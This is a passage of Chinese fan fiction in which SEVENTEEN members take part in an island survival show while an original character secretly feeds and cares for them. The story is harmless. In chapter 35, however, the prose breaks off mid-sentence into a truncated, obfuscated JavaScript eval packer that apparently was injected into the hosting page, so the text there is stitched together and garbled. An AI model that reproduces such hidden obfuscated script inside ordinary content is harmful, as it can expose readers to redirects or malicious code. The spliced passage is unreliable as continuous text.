姜里树望着经纪人们欢快离去的背影……那群人拖着他们行李箱头也不回地跑远,只留下一串轻快的脚步。孩子们隔海相望,一个个愣在甲板上。 权顺荣眨了眨那双略显茫然的眼睛,站在姜里树身边缓缓吐出一句:“我的行李……” 从出发时那场冷飕飕的冬雨开始,气氛就隐约透着不妙。 昨晚金社长刚带他们吃了顿丰盛的大餐,今天制作组又“热情”邀请他们享用海鲜盛宴。姜里树跟在队伍最后,从门缝里瞥见满满一桌生鲜海产,脚步顿了顿,随即转身悄悄找到店老板。 “麻烦来两份豚骨拉面,谢谢。” 圆佑不喜带腥味的海鲜,而他不吃生食。 端着面回来时,全圆佑正拿着桌子上唯一不是生鲜的板栗硬剥,他在看到姜里树端过来的拉面时,眼睛明显亮了起来,开开心心地往姜里树身边贴了贴,两人在满桌海鲜的包围里,安静地吃起了属于他们的、热气腾腾的拉面。 姜里树正在给尹净汉投喂拉面的时候听到桌子另一头传来了抱怨声,扭过头去看,是权顺荣说他昨晚做梦梦见了鬼……预兆不太好,可是他们的护照都已经被经纪人哥拿走了,没办法反抗了,躺平吧。 像是应了姜里树摆烂的心思,制作人nim递过来一个装着晕船药的小袋子,姜里树看了眼又把头转回来回来继续投喂尹净汉,装作什么都不知道。他的一碗拉面,几乎全落进了尹净汉和李硕珉的肚子里。 “自力更生。” 姜里树轻声吐出这个词时,制作人立刻睁圆眼睛,把晕船药又往他面前递了递。他偏过头,在摄像机拍不到的角落,顶着孩子们哀怨的目光无奈地笑了一下。 乘着大巴摇摇晃晃的终于停在了沿海客运站,金珉奎从制作人nim手中接过一叠船票,分发给每个人。 “丽瑞岛?”姜里树捏着票反复看了两遍,连一句目的地介绍都没有。他悄悄挪到崔胜澈身后,摸出手机飞快搜索……信息寥寥,总结起来只有四个字:民风淳朴,农业捕鱼。 离开船只剩十分钟,一群人匆匆检票进站。刚望见船影,制作组却齐刷刷拦了上来,收走了所有人的钱包和手机,接着每人发下一个A4纸大小的塑料袋。 “现在开始,你们有一分钟时间把要带的物品装进这个袋子里。记住!只能带走袋子里的东西哦。”制作人话音落下,倒计时已经开始。 孩子们尽管满心疑惑,但听到“只有一分钟”,所有成员几乎同时动了起来。 姜里树迅速打开行李箱,将事先备好的药品、打火机、压缩毛巾和其他野外生存物品装进袋子。 这时崔胜澈喊了一嗓子:“孩子们!把厚衣服都穿在身上!” 同样也听见了的姜里树动作未停,顺手抓出一把暖宝宝,挨个往身边成员的口袋里各塞了几片。紧接着又摸出刚刚在餐馆门口买的一袋橘子,给每人的帽兜里连带着暖宝宝贴利落地塞进去几个。直到确认自己准备完毕,他立刻转身去帮还在手忙脚乱的其他成员整理行装,孩子们行李箱里多半是衣服,洗漱用品和零食。 最后踩着点,Seventeen全员成功上了船,大敞着的行李箱们就这么被遗弃在了岸上。 所有人转身的那一刹那发现,经纪人们和制作组的staff全都没上船……船上就只有Seventeen的自己,就只有两三位随行PD…… 所以‘美好的一天’,其实是给经纪人哥们报名的吗……姜里树抱着自己的东西看着岸上开心给他们挥手的经纪人和造型师们。 船已离岸,这回是真的没有退路了。 姜里树原本以为的“自力更生”,顶多是自己做饭、安排生活,没想到直接升级成了“野外求生”。他抬手拍了拍身旁崔胜澈的肩,低声提醒他背挺直,自然点别提包的事。 要不是成员们定期体检,他甚至没意识到崔胜澈的背不知从何时起居然能鼓起那么奇怪的一个包。 孩子们神情恍惚地走进船舱,里面坐着不少慈祥的爷爷奶奶,正笑呵呵地望着这群突然出现的年轻人。 姜里树牵过已经晕船不适的尹净汉,在角落找了个安静的位子坐下,让他靠进自己怀里。他敞开羽绒服裹住对方,用身体缓冲船身的摇晃,又从尹净汉惊讶的目光下,轻轻掏出他帽兜里的橘子,递到他鼻尖。 “闻一闻,会舒服点,睡一会儿吧,睡醒了就到了。” “嗯。” 尹净汉轻轻应了一声,在姜里树暖融融的颈窝里蹭了蹭,找到一个安稳的位置。橘子的清香淡淡萦绕,他闭上眼,渐渐沉入浅眠。 崔胜澈带着孩子们也来到了角落里和他俩汇合,安静地靠到姜里树另一边。他抱起手臂,合上眼睛,任船身摇晃,呼吸慢慢平稳下来。孩子们也一个靠着一个补着觉。 抵达丽瑞岛时,天色已近昏暗。 与寻常旅行者大包小裹的景象不同,SEVENTEEN的孩子们每人只拎着一个小小的塑料袋,“被迫”轻装简从地下了船。海风卷着咸涩的气息扑面而来,远处村落灯火零星,而他们的旅程,才刚刚真正开始。 尹净汉难得在船上安稳地休息了一程,没有往常剧烈的晕眩与不适。他轻快地站起身,顺手拉了拉今天格外“壮实”的姜里树。 方才偷偷暖手时,他早就摸到了对方衣服下藏着的那些“违禁物资”,还帮着他在检查物资的时候做了遮掩。 海风卷着冬日的寒意扑面而来。就在这时,顶着“美好的一天”这个温柔标题的节目组,终于揭开了真正的企划名称——“14少年漂流记”。 第二个“噩耗”接踵而至。制作人nim举起喇叭:“现在,请按照小队分组,出发寻找你们今晚的宿舍。” ‘这种天气?节目还没结束?’姜里树仰起脸,望向越来越沉的天色。 “我有一个问题!”金珉奎挤出笑容,嘴角却压不住苦涩,“那边山上……亮着灯的房子,不会全都是吧……” “……内。”在孩子们一片凝固的目光中,制作人nim给出了肯定的答复。 崔胜澈举着那面差点被他撕掉、印有“14少年漂流记”的小旗,谨慎地问:“是有房子可以住的……对吧?” “内,但现在需要你们自己去找宿舍。” 话音落下,孩子们彼此对视,再不动身,别说晚饭,恐怕真得露宿在这海岛的夜幕下了。 “Performance队Follow me ~”权顺荣举手召唤Performance队的队员们,他的队里有大哥在,所以怎么样都不怕找不到住的地方。 队伍走到岔路口时,崔胜澈决定按小队分头行动。Performance队被分到最远的那条路,他还不忘对着他们“洗脑”式强调:“我们是一个队的!” 身为Performance队的小队长,权顺荣忍不住为自家队员打抱不平,却迎上洪知秀格外真诚的目光:“正因为相信你们,才交给你们呀。”其他人也附和着对Performance队进行着实名制夸夸。 权顺荣,完败! 他只好乖乖领着队员们走向那条最远的小路。姜里树看着他“悲壮”的背影忍不住笑了笑,伸手牵住李灿,跟着小队往前走。 Performance小队一边聊着一边前行,很快发现一间看似民宿的屋子,可惜里面空无一人,只得继续向前。 “hiong~好饿啊……”李灿轻轻摇了摇姜里树牵着的手。 “等找到宿舍,我就给你们做好吃的。”姜里树低声应道。能不饿吗?中午那点生鱼片哪够填饱肚子,都是一群半大小子吃穷老子的年纪啊。 “我好像听到胜澈的声音了……”姜里树停下脚步,抬头向四周望去。 身旁几个孩子早已又饿又困,只当大哥也饿迷糊了,纷纷摇头说没听见。 姜里树屏息凝神,又仔细听了听。 “里——树——哥——啊——” 这回他听清了,是自家“尖叫翼龙”李硕珉拉长的呼喊,还有其他几声隐隐约约的声音,正从十一点钟方向的远处隐约传来。 姜里树确认了方向,一手牵起徐明浩,一手拉着李灿,文俊辉和权顺荣则乖乖攥住他背后的衣角,一行人像串起的小火车,由他带着往前走。 另一边,崔胜澈和李知勋刚转出巷口,就看见姜里树带着一串弟弟们朝这边过来。活像只负鼠妈妈领着一群小负鼠。双方目光一对上,彼此都松了口气。 崔胜澈和李知勋笑着上前,一人牵走一个还黏在姜里树背后的“小尾巴”。最后的队员也找到了,和队长崔胜澈重新汇合,终于一起朝着民宿的方向走去。 “像不像……还是练习生的时候,我们也是这样一个个把孩子接回来的?”姜里树侧过脸,望向牵着权顺荣的崔胜澈。 “现在可比那时候简单多了,”崔胜澈也转过头,目光逐一掠过身边这群弟弟,“那时候连一张照片都没有,全凭感觉……一个、一个地把他们找回来。” “说起来真的很神奇,”姜里树轻声接道,“明明照片都没有,你就这么一个一个的没有任何出错的找到了他们。” “大概……就是一种感觉吧。” 崔胜澈的目光再次缓缓扫过身边每一张面孔,最后目光落在那双温柔的绿眼睛里,声音很轻,却很稳。 “感觉我们,本来就应该在一起。” 没有任何阻碍的顺利抵达住宿点。接下来的五天,他们都将在这间温馨的民宿里度过。 环顾四周,房间干净,设施齐全,公共空间也挺大的,甚至还有《生存指南》? 比想象中好太多了。 抵达民宿后的第一顿饭,就把所有人难住了——得自己生火才行。 集合开会时,姜里树没有急着参与讨论。他默默走进厨房,然后在成员和镜头齐齐震惊的注视下,开始一件一件从身上“卸货”。 他先脱下外套,从腹部解下六包紧紧捆着的袋装拉面……还好,尹净汉靠着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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房间那头,孩子们早已铺好被子,正乖乖等着他。 “等下!至少让我去看一眼孩子们生火的情况……”姜里树反手握住尹净汉的手腕,语气坚持,“不然我真的睡不着。” 背后推着他走的洪知秀也不得不停下脚步。 “那好吧~”尹净汉也清楚姜里树在孩子们面前那“妈妈”般的操心程度,没松开手,就这样牵着他。三个人维持着这个姿势,一起走到庭院。 崔胜澈正带着弟弟们生火,他自己脸上蹭了好几道灰,旁边的权顺荣被烟熏得眼泪直流,夫胜宽已经双手合十对着制作组的方向小声求援了。 姜里树默默看着制作组,在心里吐槽只觉得制作组好像比他更像人机。 “……果然。” 姜里树拍拍尹净汉还握着自己的手,终究还是迈步上前——至少得帮孩子们把火生起来。 尹净汉只好松开他,然后又一次在众人的注视下,从口袋里掏出一个长得像糖果包装的…… 打火机。 ? “让振宇哥买的。”奇奇怪怪的爱好,不抽烟却总喜欢买这种造型别致的打火机。 姜里树凭着曾在视频里短暂看过的生火步骤,低头摆弄了一会儿。火星跃起,木柴渐渐燃起橙红的光。 火,总算生起来了。 “接下来就交给胜澈哒嘟吧,”尹净汉重新牵过姜里树的手,带他往屋里走,“现在可以跟我们走了吗?” “……”这话怎么听着怪怪的?姜里树莫名觉得,自己双手手腕上好像少了点什么。 被尹净汉和洪知秀往被窝里塞之前,姜里树拉住洪知秀,示意他暂时挡一下摄像头。洪知秀以为他是要换衣服,却见姜里树利落地脱下身上的马甲,径直给尹净汉披上。这下他上身只剩一件单薄的长袖白T。 洪知秀的目光落在那件马甲内侧——鼓鼓囊囊的口袋清晰可见。他睁大眼睛看向姜里树,那双小鹿眼睛里满是好奇。 姜里树抬手示意洪知秀先别走开,接着弯腰从工装裤膝盖处的两个口袋里掏出两把巧克力,不由分说就往他和尹净汉的口袋里塞。 “总有我们不在身边的时候,”他声音压得很低,“要是孩子们饿着,就让他们垫一垫。” 他又从另一边口袋摸出一把水果糖,塞给尹净汉:“一会儿悄悄给胜澈。” 接着从羽绒服帽子里掏出一块包好的生姜和一小瓶可乐,递过去:“这个给俊辉,他知道怎么煮生姜驱寒茶。” 说完,他怔怔呆了两三秒,确认暂时没有要交代的了,整个人突然往被褥里一倒,长长舒了口气,几乎是瞬间,就沉沉睡了过去。 “……” 尹净汉和洪知秀看着各自被塞满的手心,对视一眼,又望向已经睡熟的姜里树,无奈地笑了笑。 关灯前,洪知秀轻轻蹲下,抚了抚姜里树柔软的发丝,然后起身,熄灯,掩上了门。 36. 36.想钓鱼 等姜里树再睁开眼时,发现自己被墙壁和崔胜澈牢牢夹在中间。背后是冰凉的墙面,怀里则紧紧缩着还没醒的崔胜澈。 昨晚为了不挤到孩子们,他特意睡在最靠墙的位置。现在看着身边挤挤挨挨的睡容,他也分不清大家是按顺序躺的,还是睡前“抢”过来的位置。 昨晚也不知道自己怎么睡过去的…… 他得去厨房看看还剩什么食材,能不能做点早餐?孩子们是怎么分配工作的?……越想问题越多。 姜里树一边琢磨着,手却无意识地绕弄着怀里崔胜澈的头发。 他先将两人盖的被子全给崔胜澈掖紧,才小心把他的头挪到枕上,慢慢起身。 拉开门时,冷气扑面而来,冻得他一个哆嗦,赶紧又掩上门。天还蒙蒙亮,太阳尚未露头。姜里树先检查了柴火余量,打算煮点速食粥,再准备些咖啡。此刻节目组还没出现,只有摄像机在安静运转。 看到那把钝得仿佛自带“破伤风附魔”的斧头时,姜里树陷入了沉思。他实在无法想象,昨晚孩子们究竟是怎么用它劈开柴火的。 单纯靠力气吗? 将近一个小时的小火熬煮,粥香渐渐漫开。他用自备的速食粥包,加上昨晚孩子们剩下的米饭,慢慢熬成了稠稠的一锅。又去那片青翠的小菜园里,小心摘了几片嫩叶,洗净撕碎,轻轻撒进翻腾的粥中。 姜里树正弯腰搅动着粥,背后忽然一沉。他还没回头,熟悉的声音就贴着他耳畔响起: “你起得好早……”崔胜澈刚叫完其他孩子起床,迷迷糊糊跟着香味蹭过来,整个人的重量都压在了姜里树背上,“昨晚剩的那点米饭……居然能煮出这么多粥?” 那点米饭,是崔胜澈昨晚从饿坏了的弟弟们手里硬“救”下来的,要不是姜里树事先藏了那么多拉面,恐怕连锅都能被他们啃了。他当时想着,留一点下来,第二天他们家这位“大厨”说不定就有办法变出点什么呢。 “不再睡一会儿吗?”姜里树抬手碰了碰崔胜澈被晨风吹得冰凉的脸颊。 “安怼呦……一会儿还得带着珉奎、净汉去钓鱼……”崔胜澈趴在他背上,困意一阵阵上涌,为了保持清醒,他开始跟姜里树“告状”,“昨晚要不是你带的吃的,孩子们真要饿着肚子睡了!” “这样啊~那我一会儿也去村里转转,看能不能找点食材。” “昨晚可是我劈的柴!” “哇,我们胜澈哩这么厉害呀,真棒!”姜里树笑着拍拍崔胜澈环住他腰的手臂。 “昨晚还吃到螺丝了……”崔胜澈蹭了蹭姜里树温暖的后颈,声音闷闷的,“还好是我吃到的,要是孩子们吃到可怎么办……” “哎一古,那今天一定要给我们澈哩做顿大餐才行呢,”姜里树放轻声音,“澈哩啊,辛苦了。” “还好啦~孩子们没事就好。”崔胜澈被哄得心里软乎乎的,趴在姜里树背上闷声笑起来。 “好香哦!”第一个醒来的李硕珉洗漱完,跟着粥香寻到厨房,看见崔胜澈叠在姜里树背上,自己也笑嘻嘻地趴了上去。 “硕珉啊,去拿碗盛粥。胜澈、珉奎、净汉他们要去钓鱼,你也先和他们一起喝,然后看着点粥锅,别凉了。”姜里树交代着,心里盘算着一会儿得去村里转转,光吃鱼肯定不行,得再找些别的食材。 “好!”听到有吃的,李硕珉立马从崔胜澈的背上起身跑回屋子里。 等五人用过早餐,院子里便分成了两路。姜里树悄悄戳了戳尹净汉,示意他把昨天那件马甲穿上,夹层里塞了能量棒、小火腿肠之类的小零食。 尹净汉笑着抱住他晃了晃,表示早就穿好啦,他还往孩子们的枕头下塞了几个。 天色才刚透出浅浅的天青。 出发前,姜里树特意问了节目组如何获得食材。制作人nim只说要用劳动交换就可以。他打算先去试试,如果自己换来的食材符合节目组规定,就把孩子们也叫上。 走着走着,姜里树望见一位老婆婆正费劲地翻挖着地里的红薯。他快步走上前: “婆婆!我来帮您翻吧,请问结束后可以分我一点红薯吗?” 婆婆抬起脸,看见一个眉眼清秀的孩子站在跟前,慈祥地笑着点了点头。 姜里树扭头望向随行摄像师nim,摄像师nim也笑着示意可以。他立马接过婆婆手中的锄头,小心翻起地里一颗颗饱满的红薯。将近两个小时,这一小片地总算翻完了。婆婆很大方地要给他一整麻袋,他却只收下一半。 正发愁要不要只带红薯带回去时,一抬头就碰上了在村里闲逛的孩子们。 “胜宽呐!这边!” 真巧,来得正是时候。姜里树高举手臂,朝弟弟们挥了挥。 “哦!hiong!你怎么在这儿?”早上出门时没见到他,大家还以为他也去钓鱼了。一行人小跑着聚到哥哥身边。 “我来附近转转,这些红薯是帮婆婆劳动换来的,摄像师nim联系节目组也同意了,可以带回去做烤红薯和红薯粥。正愁要不要只带红薯回去呢,你们来得正好啊。” “哇——大发~”孩子们凑近麻袋,看见里面个个比拳头还大的红薯,忍不住惊叹。 “你们谁先把这些带回去?我再去其他村民那儿转转。”姜里树看向四个弟弟。 “我来吧!”崔瀚率站了出来,现在带回去,正好能烤上。姜里树点点头。 回去的路上,崔瀚率遇见了下山来找人的李硕珉,以及早就钓鱼归来的尹净汉,还有‘在家组’徐明浩。他干脆和李硕珉接力抬着半袋红薯往回走,顺便给尹净汉和徐明浩指了指姜里树他们的方向。 等尹净汉和徐明浩找到大部队时,眼前景象让他们一愣,每个人怀里都抱着食材,或多或少,手里一点没空着。 “哇,亲加?你们去超市了?” “不是~全都是劳动换来的,摄像师nim们都同意了。”夫胜宽抱着两颗大白菜笑得老开心了,这是刚才他和权顺荣帮一位爷爷晾渔网得来的。 姜里树怀里是大半袋米,洪知秀抱着一盒鸡蛋和一些蔬菜,这些是他俩帮超市老板卸货物换的。碰上尹净汉他们之前,姜里树还顺手帮一位正在做饭的婆婆炒了两个菜,换来了一盒婆婆亲手做的泡菜。 尹净汉和徐明浩上前帮忙分担食材,一行人满载而归,开开心心的回到民宿。 庭院里,制作人nim正与随行摄像师们确认孩子们手中食材的来源,得知都是通过劳动换取的,点了点头,没再多问。 孩子们这才彻底放下心,热热闹闹地开始一起处理食材。 姜里树走到正在专注刮鳞剖鱼的金珉奎身旁,轻轻点头。 “很厉害呀我们珉奎,居然会处理鱼。” “hiong!”金珉奎这才注意到姜里树带着其他成员回来了,惊喜地抬起头。 他并不知道,金珉奎在下刀处理第一条鱼之前,经历了怎样的心理斗争,他甚至一边动手,一边对着鱼小声说着“对不起”。 姜里树在金珉奎期待的目光中拍了拍他的肩,表情“郑重其事”: “继续努力,珉奎啊。” 帮不了,这个他一点也帮不了。平时就算给孩子们做鱼,他也只会用菜市场处理好的现成食材,滑溜溜的活鱼在手里乱跳的画面,他拒绝想象。 金珉奎望着最信任的哥拍了拍自己的肩,转身进屋。他闭上眼睛,含泪继续处理手中的鱼。 ‘问题不大,反正他也快处理完了,他哥就不必再下手了。’ 金珉奎是这么在心里安慰自己的。 接下来便到了姜里树的主场。他将现有的食材一一清点整理,脑海里立马就有了菜单。 等到下午孩子们熟悉规则后,他也能放心去试试钓鱼了。 爽口的小菜、鲜美的鱼汤配上米饭,孩子们吃得七八分饱,再分食烤得香甜的红薯,这才真正觉得满足。 午饭过后是自由活动时间。节目组告知大家,房间里有座机,可以给家里打电话。 姜里树正坐在院子里晒太阳,看见“偷”感十足的摄像师脚步悄悄地进了屋。他刚想跟过去,却被打完电话出来的夫胜宽叫住:“hiong,该你去打电话了。” “好。”只好暂时作罢,等会儿再问屋里的孩子们吧。 “嘟——” “你好?”电话那头传来一位女士的声音。 “姐……我们在‘漂流’……”姜里树没有表情,说出来的话也平直得没有起伏。 “啊↗↘我知道哦。等你们回来再详细聊吧,我这边还很忙,再见。嘟—嘟—嘟—”姜南与语速飞快地说完,立刻挂断了电话。 “……”姜里树不可置信地盯着传来忙音的话筒。 他还什么都没问呢。 电话那头的姜南与知道这次通话节目组能听见,便没多说什么。可姜里树并不知道这一点啊,于是他又想打给妈妈告状,结果里树妈妈那边信号不好,电话根本没接通。 “hiong怎么了?”夫胜宽这时凑到姜里树身边坐下,那副猫猫祟祟的模样,让姜里树忽然想起刚才的摄像师。 “没事……?”这孩子怎么也“偷感”这么强的? 直到夫胜宽偷偷摸摸掏出一根还没手指粗的鳕鱼肠,姜里树顿时忍不住无奈笑出来。 “hiong,你吃不吃?”夫胜宽凑到他耳边,声音压得低低的。 “……”姜里树笑着摇摇头,理了理他的头发示意他快吃。哪有人偷吃还专门跑到镜头前“偷偷”的。 他挪到背对夫胜宽的李灿身旁,自然地加入弟弟们的聊天,一个真不知情、一个假装不知情,两人正好把夫胜宽完全挡在身后。 转身时,姜里树却看见对面侧躺着、单手撑头的李知勋朝他轻轻挑了挑眉,眼神意味深长。显然,刚才那番“鬼鬼祟祟”的小动作,全被他看在了眼里。 “……”姜里树没想到,掩护夫胜宽“偷吃”一根鳕鱼肠,竟会把自己也搭进去。 他在其他孩子看不见的角度,悄悄伸出一根手指,这几乎成了他一直以来的习惯动作。若是他在帮“做坏事”的弟弟打掩护时,被队里那几个格外敏锐又精明的成员发现,他就会在其他人看不到的地方对对方伸出手指,一根手指代表答应对方一个条件。 通常尹净汉和洪知秀一般是两个条件起步,否则他们能让这件“事”宣扬的人尽皆知。 而现在,李知勋得到了想要的回答,满意地眯起眼睛笑了笑,随即移开视线,也装作什么都不知道的样子,继续和孩子们聊起天来。 “孩子们,请到码头集合——”节目组staff敲敲门进来通知到。 “内——”房间里响起一片整齐的回应。 十四个人穿好外套,整队出发前往码头。谁也不知道之后会面临什么,还有孩子小声猜测会不会是接他们回家的。大家说说笑笑,身影渐次融入海岛正阳里。 看到码头边堆放的丰富食材,大家瞬间欢呼着冲了过去。节目组工作人员早已等在原地。 这些食材可以获取,但前提是完 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“错误!” 在成员们不安的视线下,给出了让成员们不安的回答。 “还剩一次机会!” “胜澈自己,因为胜澈觉得自己是最帅气的人。”再不答对,就要错过一种食材的选择了。姜里树在孩子们还在抓耳挠腮时,给出了新的答案。 “回答正确!” “耶——!!!”孩子们欢呼起来。 崔胜澈一把拿掉奶嘴,转身抱住站在后面的姜里树,开心得蹦蹦跳跳。然后转身去找姜里树让他拿走的桌子上最大的那个大南瓜。 “OK!然后是第二个问题,RISUxi~” 姜里树接过崔胜澈的奶嘴,塞到自己嘴里,坐在众人中间的小板凳上等着两位MC提问,也没看到夫胜宽慢慢的把伸出去的新奶嘴,又收了回来藏到了背后。 “第二个问题!RiSuxi最喜欢的Seventeen成员是谁!” “我!”几乎是所有成员包括两位MC都举起了手,所有人一边举着手,一边非常确定的指着自己。 “正确?!”生怕他们会当场干起来的姜里树拿下奶嘴自己就宣布了答案,他的答案就是“姜里树最喜欢的成员是Seventeen的所有成员。”而且,他眼睛的余光已经看到崔胜澈默默的准备抬手抓他身旁洪知秀的衣领了。。。 写答案的那天他也和节目组说了,如果成员们全都举起了手那么就是他们答对了,只要有一个人没有举手,就算他们错误,节目组自己也同意了。 所以第二个问题,正确! “耶!!!——” 在成员们再一次的欢呼声下,姜里树作为代表选择了面粉,这样和刚刚的南瓜一起就可以给孩子们做南瓜饼了。 “第三个问题!SEUNGKWANxi~”被叫到名字的夫胜宽拿出了刚刚本该递给姜里树的新奶嘴,在他哥瞪大的眼睛里塞到了自己嘴里,这可不怪他啊…是哥自己动作太快的,他才没来得及给的。 “请问!胜宽xi最喜欢的电视节目是蒙面歌王和什么!” “排球比赛!”这次是尹净汉给出了非常肯定的回答。 “回答——正确!” “芜湖~!!!” “第四个问题!WOOZIxi~”李知勋接过奶嘴,乖乖的坐到了中间去。 “请问!Woozixi如果有女朋友,他会对她唱什么歌曲!” 这个问题看来是把所有人都难住了,一时之间都互相看看满脸茫然,夫胜宽MC看众人实在没有头绪,就给了点提示,告诉大家说,前一阵子李知勋在舞蹈室里唱过,在生日会上。 “《冬季小孩》!”在听到新的提示后全圆佑给快速答了出来。 “叮叮当——” “回答正确!!!”夫胜宽敲着怀里的乐器,宣布着正确。还让李知勋对着镜头给粉丝们唱几句。 少年沉稳中透着青□□恋的歌声,就这样缓缓流淌开来。会唱的成员们也跟着轻轻哼唱,声音低低地汇在一起,像一阵温柔的风拂过码头。 随着问题一次次被提出,他们赢得的食材也越堆越高。节目组在奖品被清空前,示意MC开启第二轮游戏。 “第二个游戏是‘生存力挑战’……就是《一周偶像》里玩过的‘嘴对嘴传纸条’,大家还记得吧?”夫胜宽刚宣布完游戏名称,所有人瞬间露出恍然又微妙的表情。 姜里树沉默地抬手捂住了嘴,身旁的文俊辉也“委屈”地抱住了小猫脑袋,两人对这个游戏的记忆显然都不太愿意回想。 偏偏,为了接下来的胜利,任务还是落到了他们小队头上。这一次,姜里树站到了队伍的最后一位,海风这么大,所以他站在最后一个也很合理对吧。 文俊辉怕再磕破姜里树的嘴角,姜里树怕嘴角再被磕破,两个人默契的把忙内李灿夹在了中间。 所以到李灿和姜里树的镜头画面,两个人身高还差一截,递纸条时李灿得仰起脸,姜里树则要低下身子,整个画面顿时染上几分偶像剧男女主般的氛围。 没多纠结,Performance队顶着海风的干扰再次不负众望赢得了比赛。随后的游戏里大家也收获满满,带回了不少食材,可以大餐一顿了。 “哎?”姜里树举着锅铲,看了看锅里翻炒的菜,疑惑地歪着头问自己“我不是要去钓鱼的来着?” 37. 37.还是想钓鱼 晚饭的香气在庭院里渐渐弥漫开来。姜里树正在厨房里低头专注地切着菜,李硕珉忽然凑近,往他嘴边递了点什么。姜里树下意识偏过头,发现是根细细的鱿鱼丝。他抬起眼,先看了看李硕珉另一只手上捏着的包装袋,又看了看弟弟带着笑的眼睛,最后目光落回那根鱿鱼丝上。 “那个……硕珉啊,”姜里树迟疑地开口,“你胜澈哥出门前,是不是特别交代了什么?”他一边问一边努力回想。 刚才忙着洗菜备料,确实没太留意崔胜澈临走时的话,只依稀听见好像提到了“鱿鱼丝”三个字,说是留着要用来做小菜来着。 李硕珉这才后知后觉地反应过来。他低头盯着手里已经撕开的包装袋,又抬眼望向姜里树,脸上的神情欲哭无泪了起来,写满了“闯祸了”的无措。 “哥…救救我……” 笑着叹了口气,姜里树问他::“其他成员们都吃了吗?” “嗯……除了圆佑哥和去钓鱼的几个成员,都吃了……”李硕珉越说越小声,眼里写满了忐忑。 姜里树没再多问,只忽然低下头,就着他还没收回的手,轻轻叼走了那根鱿鱼丝。咽下后,他才抬眼看着李硕珉,语气温和:“好了,现在我也算吃过了。剩下的半包留给钓鱼的孩子们吧,记得把封口压紧。” 天色渐暗,钓鱼的队伍终于归来。姜里树站在屋檐下,朝他们轻轻招手。 等崔胜澈走近,他伸手握住他的双手,提前预防崔胜澈“炸毛”的可能性,先一步放软了语气:“米亚内啊,澈哩。今天下午做饭时,我和孩子们太饿了,没忍住一起分掉了半包鱿鱼丝。真的很抱歉没能等你们一起回来分享。”姜里树顿了顿,又急忙补充,“还有半包已经给钓鱼辛苦的你们留好了,还有几根鳕鱼肠,都给你们留着呢!”他这回真的没有“存货”了。 “里树啊!你们怎么能这样~~!”崔胜澈果然瞬间“炸毛”,姜里树差点没拉住他,只能一边强行十指相扣抓紧他的手,一边向另外几人连声道歉。 “里树啊,”洪知秀在一旁笑吟吟地看着他,像是猜到了什么,“你该不会是在帮谁打掩护吧?” “……没有,”姜里树毫不犹豫地摇头,“我确实吃了。”这是实话。 “OK~”洪知秀笑着点点头,没再追问,也看不出究竟是信了还是没信。 这事儿也算就这样过去了,除了还在被姜里树顺毛的崔胜澈。 吃完晚饭,帮忙收拾碗筷时,姜里树匆匆瞥了崔瀚率一眼,起初还以为是他嘴角沾了酱汁没擦干净。再仔细一看,这孩子嘴角什么时候起了一片红疹? 姜里树心里一惊,连忙开口:“瀚率啊,和我进屋一下,我去找药给你涂。”都这样了还在往嘴里塞烤鱼,难道不觉得疼吗? “好哦!”崔瀚率听话地把手里剩下的烤鱼几口吃完,拍拍手,起身朝屋内走去。 没有急着进屋,姜里树先绕着院子里转了一圈,挨个检查了外面每个成员的嘴角,又仔细询问有没有哪里不舒服。确认大家都无异样后,他才转身进屋找药。 他先用随身携带的小瓶生理盐水轻轻擦拭崔瀚率的嘴角,接着取出抗病毒软膏仔细涂抹,一边涂一边轻声交代注意事项。处理完后,他又起身将屋内所有人都查看了一遍,直到确定只有崔瀚率一人出现症状,才终于松了口气。 这几天的饮食确实不够均衡,孩子们都在长身体的年纪,维生素摄入也不足……或许明天该去村里多劳动、做点任务,试试能不能换些水果回来。 洗漱完毕的姜里树轻轻推门回到房间。浅眠中的崔胜澈听见动静,睁开眼望过来,看清是姜里树后,便朝他伸出手:“里树啊,到这儿来。” 姜里树小心跨过两个倚着墙打瞌睡的弟弟,走到崔胜澈身边,在他和墙壁之间的空隙坐下。还没等他完全坐稳,崔胜澈已经歪过身子,熟练地枕上他的腿,调整到一个惯常的姿势躺好。姜里树随手拿过崔胜澈的帽子,轻轻替他遮住上方晃眼的光线,低头看着他再次陷入浅眠。 两个卧房渐渐安静下来,只剩孩子们均匀起伏的鼾声…… 不知过了多久,正撑着头靠在被褥边的姜里树睁开眼,望向卧房门口,屋子的门被轻轻推开了。他拍了拍因声响而微微动了动的崔胜澈,待对方迷迷糊糊抬起头,便起身出去查看。 来的是冷PD。见姜里树出来,她压低声音说:“叫一下孩子们吧,有客人来了。” 姜里树点点头,先回自己房间轻声唤醒几人,再走到另一间卧房门口。推开门,里面床铺已铺得整齐,好几个弟弟显然已经在被窝里睡熟了。 “孩子们,有客人来了,先起来一下吧。”他蹲在门边,声音放得很轻。 “……内……”即使睡意正浓,孩子们还是迷迷糊糊地应声,努力撑起身子。 所谓神秘客人是渔村股长。冷PD解释,因为SEVENTEEN要在这里生活一周,所以开设了“人力事务所”,来给他们安排工作。 困倦的孩子们听得两耳迷茫,迷迷糊糊的眼神在渔村股长和冷PD之间来回游移。 “明天的工作是:三个人出海钓许氏樽鱼,两个人去采集藤壶。”渔村股长当场发布任务,冷PD则让他们自行分配人员。 等到渔村股长和冷PD离开屋子后,成员们你看看我,我看看你的。 崔胜澈对成员们发起会议通知,一番商量后,明天出海三人组定下了文俊辉、权顺荣和李硕珉;采集藤壶的则是夫胜宽和崔瀚率。 人选确定,大家便各自回房准备休息。夫胜宽睡前想起用盐腌制的大白菜需要清洗重拌,就带着几个成员出去处理泡菜。姜里树也重新回到那个熟悉的“夹角”位置躺下。 躺下还没几分钟,院子里突然传来一阵惊呼。姜里树原地弹起就冲出去查看。原来是权顺荣用辣酱假装流鼻血,吓到了夫胜宽,才传来了惊呼声。弄清原委后,姜里树默默走到权顺荣身后,面无表情地盯着他的后脑勺。 正对权顺荣的夫胜宽,将姜里树越来越黑的脸色看得一清二楚。他猛地后退一大步,双手合十,开始为权顺荣默默祈祷。 权顺荣歪了歪脑袋,不解地望着夫胜宽:“离我那么远干嘛?” 话音刚落,一记手刀轻轻落在他头顶。权顺荣的脖子像生锈的齿轮般,一点点转过头。在看到昏暗的灯光下,姜里树那双没有情绪的绿眼睛正像狼一样,死死盯着他。 